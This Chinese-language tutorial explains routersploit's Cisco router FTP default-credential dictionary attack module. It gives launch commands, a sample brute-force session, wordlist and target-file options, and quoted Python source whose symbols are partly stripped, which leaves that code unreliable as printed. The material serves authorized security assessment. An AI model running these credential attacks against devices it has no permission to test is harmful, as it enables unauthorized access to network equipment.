ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

routersploit Cisco 路由器 FTP 默认凭据字典攻击模块实战指南

routersploit Cisco 路由器 FTP 默认凭据字典攻击模块实战指南 routersploit Cisco 路由器 FTP 默认凭据字典攻击模块实战指南【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit导读本文围绕 routersploit 项目中的creds/routers/cisco/ftp_default_creds模块完整讲解如何对 Cisco 路由器 FTP 服务执行默认凭据字典攻击从交互式启动、模块加载、目标设置到多线程爆破的完整操作流程并深入剖析其继承自通用 FTP 默认凭据模块的底层实现、FTP 客户端封装、线程调度与结果输出机制。读完本文你将能够熟练使用该模块完成一次真实的默认凭据探测理解其每一个可配置选项的含义并能基于源码定位到具体的调用链与测试用例。模块功能概述根据原文档 ftp_default_creds.md 与模块源码 ftp_default_creds.py 的描述Module performs dictionary attack with default credentials against Cisco Router FTP service. If valid credentials are found, they are displayed to the user.该模块针对 Cisco 路由器暴露的 FTP 服务默认端口 21执行默认凭据字典攻击逐条尝试预先定义的用户名:密码组合一旦验证通过立即将有效凭据连同目标地址、端口、服务类型展示给用户。它适用于路由器/嵌入式设备普遍残留出厂默认口令如admin:admin的常见场景用于安全评估中的弱口令排查。值得注意的是该模块定义在devices字段中声明适用设备为Cisco Router但在实际实现上它与同目录下的 SSH、Telnet 变体ssh_default_creds.py、telnet_default_creds.py结构完全一致仅服务端口与默认凭据词表不同其通用机制可复用于所有厂商设备模块。快速开始完整操作步骤原文档给出的验证步骤Verification Steps如下这是使用该模块的标准流程启动交互式框架./rsf.py加载模块use creds/routers/cisco/ftp_default_creds设置目标set target [TargetIP]执行攻击run若发现有效凭据结果会展示给用户对应的交互会话示例rsf use creds/routers/cisco/ftp_default_creds rsf (Cisco Router Default FTP Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (Cisco Router Default FTP Creds) run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: admin Password: 12345 [-] Authentication Failed - Username: admin Password: 123456 [-] Authentication Failed - Username: Admin Password: 12345 [-] Authentication Failed - Username: Admin Password: 123456 [] Authenticated Succeed - Username: admin Password: admin [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin会话中的关键输出语义[*] Target exposes FTP service模块先做连通性探测见下文check()方法确认目标 21 端口确实存在 FTP 服务后才开始爆破避免对非 FTP 目标浪费流量[-] Authentication Failed - ...单条凭据验证失败[] Authenticated Succeed - Username: admin Password: admin命中有效凭据最后以表格形式汇总输出Target / Port / Service / Username / Password。模块可配置选项详解加载模块后可通过show options查看全部可设置项。该模块在 ftp_default_creds.py 中声明了四个核心选项并从父类继承了stop_on_success、verbosity、ssl等选项。选项类型默认值说明targetOptIP空目标 IPv4/IPv6 地址或file://开头的目标列表文件路径每行ip:portportOptPort21目标 FTP 端口threadsOptInteger1并发线程数defaultsOptWordlistadmin:admin凭据字典user:pass单条逗号分隔多条或file://指定词表文件stop_on_successOptBooltrue命中首个有效凭据后是否立即停止verbosityOptBooltrue是否打印每条认证尝试的详细输出sslOptBoolfalse是否使用 FTPSFTP over TLS连接选项类型的校验逻辑各选项的合法性校验实现在 option.pyOptIPL34-L41通过is_ipv4/is_ipv6正则校验非法地址直接抛出OptionValidationErrorOptPortL44-L57强制转 int并限定0 value 65535OptIntegerL89-L100支持十进制与十六进制int(value, 16)兜底OptBoolL60-L86仅接受字符串true/falseOptWordlistL135-L153若值以file://开头读取该文件并按行生成凭据列表文件不存在会报错否则按逗号切分为多个user:pass条目。因此set defaults admin:admin,root:toor可一次注入多条组合。与通用模块的默认值差异该 Cisco 模块继承了通用 FTP 默认凭据模块 ftp_default.py但刻意覆盖了线程数与默认词表通用模块threads默认为8ftp_default.py#L22且defaults默认指向框架内置的厂商默认凭据词表wordlists.defaultsftp_default.py#L23Cisco 模块将其改为threads 1、defaults admin:adminftp_default_creds.py#L21-L22。这一差异也直接反映在测试断言中见下文测试章节其设计意图是Cisco 路由器默认凭据高度集中admin:admin单线程顺序尝试即可在极短时间内完成同时降低对目标设备的连接压力。若要扩大词表可通过set defaults file:///path/to/wordlist.txt加载自定义字典。底层实现原理一次完整的攻击调用链1. 类继承关系Exploit (core/exploit/exploit.py) └─ FTPClient (core/ftp/ftp_client.pytarget_protocol Protocol.FTP) └─ FTPDefault通用模块 generic/ftp_default.py └─ Cisco FTP Default Credsroutersploit/modules/creds/routers/cisco/ftp_default_creds.pyCisco 模块自身几乎不写业务逻辑仅通过继承与选项覆盖复用通用模块的完整攻击流程——这是 routersploit creds 模块族的典型组织方式。target_protocol被设为Protocol.FTP ftpexploit.py#L20该值最终会出现在结果表格的Service列。2.run()→attack()主流程继承自 ftp_default.py 的攻击流程分四步def run(self): self.credentials [] self.attack() multi def attack(self): if not self.check(): return print_status(Starting attack against FTP service) data LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) ...run()先清空凭据缓存再调用attack()attack()被multi装饰器修饰exploit.py#L126-L170若target以file://开头装饰器会逐行解析目标列表文件对每个ip:port目标分别执行一次攻击实现批量目标扫描LockedIteratorexploit.py#L192-L212为词表迭代器加线程锁保证多线程下每条凭据只被消费一次、不会重复尝试run_threadsexploit.py#L85-L123按threads数量创建命名线程thread-0、thread-1…通过threading.Event控制启停支持CtrlC中断并在全部线程结束后打印Elapsed time。3. 前置探测check()def check(self): ftp_client self.ftp_create() if ftp_client.test_connect(): print_status(Target exposes FTP service, verboseself.verbosity) return True print_status(Target does not expose FTP service, verboseself.verbosity) return Falsecheck()先建立一次 FTP 连接测试端口可用性不通则直接return跳过整个爆破流程——这正是会话日志中Target exposes FTP service一行的来源。4. 单条凭据验证target_function()def target_function(self, running, data): while running.is_set(): username, password data.next().split(:, 1) ftp_client self.ftp_create() if ftp_client.connect(retries3) is None: print_error(Too many connections problems. Quiting..., verboseself.verbosity) return if ftp_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ftp_client.close()每个线程从共享迭代器中取出user:pass以第一个:为界拆分为用户名与密码split(:, 1)随后调用 FTP 客户端登录。命中有效凭据时若stop_on_success为真调用running.clear()通知所有线程停止将(目标, 端口, 协议, 用户名, 密码)追加到credentials列表最终由print_table以表格形式输出ftp_default.py#L42-L45。5. FTP 客户端封装所有底层交互均由 ftp_client.py 完成基于 Python 标准库ftplib封装ssl选项为真时使用ftplib.FTP_TLS否则使用ftplib.FTPL33-L36连接超时固定为FTP_TIMEOUT 8.0秒L11connect(retries3)L38-L54支持失败重试连接异常时打印错误并关闭连接login()L56-L72成功打印FTP Authentication Successful - ...失败打印FTP Authentication Failed - ...——这两条日志即会话中[]/[-]行的直接来源verbosityFalse时所有打印被抑制可显著减少批量扫描时的终端噪音。凭据字典的三种注入方式defaults选项支持三种格式由OptWordlist的__get__逻辑决定单条组合set defaults admin:admin逗号分隔多条set defaults admin:admin,root:toor,cisco:cisco外部词表文件set defaults file:///opt/wordlists/cisco_ftp.txt文件每行一条user:pass同理target也支持批量目标文件set target file:///opt/targets.txt文件每行一个ip或ip:port由multi装饰器逐个展开执行。测试与验证如何确认模块行为仓库为每个 creds 模块都配套了 pytest 测试Cisco FTP 模块的测试位于 tests/creds/routers/cisco/test_ftp_default_creds.py可直接运行验证pytest tests/creds/routers/cisco/test_ftp_default_creds.py -v该测试的关键断言对应 test_ftp_default_creds.py#L9-L14assert exploit.target assert exploit.port 21 assert exploit.threads 1 assert exploit.defaults [admin:admin] assert exploit.stop_on_success is True assert exploit.verbosity is True这些断言与源码中的选项默认值一一对应同时验证了exploit.check()在通用测试目标上返回FalseFTP 未开放时正确短路exploit.check_default()返回Nonemute装饰器抑制输出exploit.run()正常返回None。该测试文件是理解模块默认行为的最快捷径即使不阅读源码仅凭断言即可确认模块的端口、线程数与默认词表。同类模块与扩展方向routersploit 的 creds 模块族遵循完全一致的继承 覆盖模式Cisco 路由器的 SSH 变体 ssh_default_creds.py端口 22与 Telnet 变体telnet_default_creds.py仅替换通用父类与端口其他厂商如creds/routers/asus、creds/routers/dlink、creds/cameras/acti等同样由ftp_default/ssh_default/telnet_default通用模块派生。如果你需要对其他设备的 FTP 服务做同样的默认凭据探测只需use creds/厂商/设备/ftp_default_creds并按相同流程设置target后run即可若内置词表不够用优先通过file://引入自定义字典。使用前提与注意事项该模块属于凭据探测类模块仅适用于已获得授权、合法的安全测试与设备运维场景模块依赖目标设备确实开启 FTP 服务默认端口 21若服务运行在非标准端口务必先set port调整高threads值会增大对目标设备的并发连接压力嵌入式设备处理能力有限建议从默认单线程开始必要时逐步上调框架入口为仓库根目录的 rsf.py启动前请确保按 README.md 完成依赖安装。【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表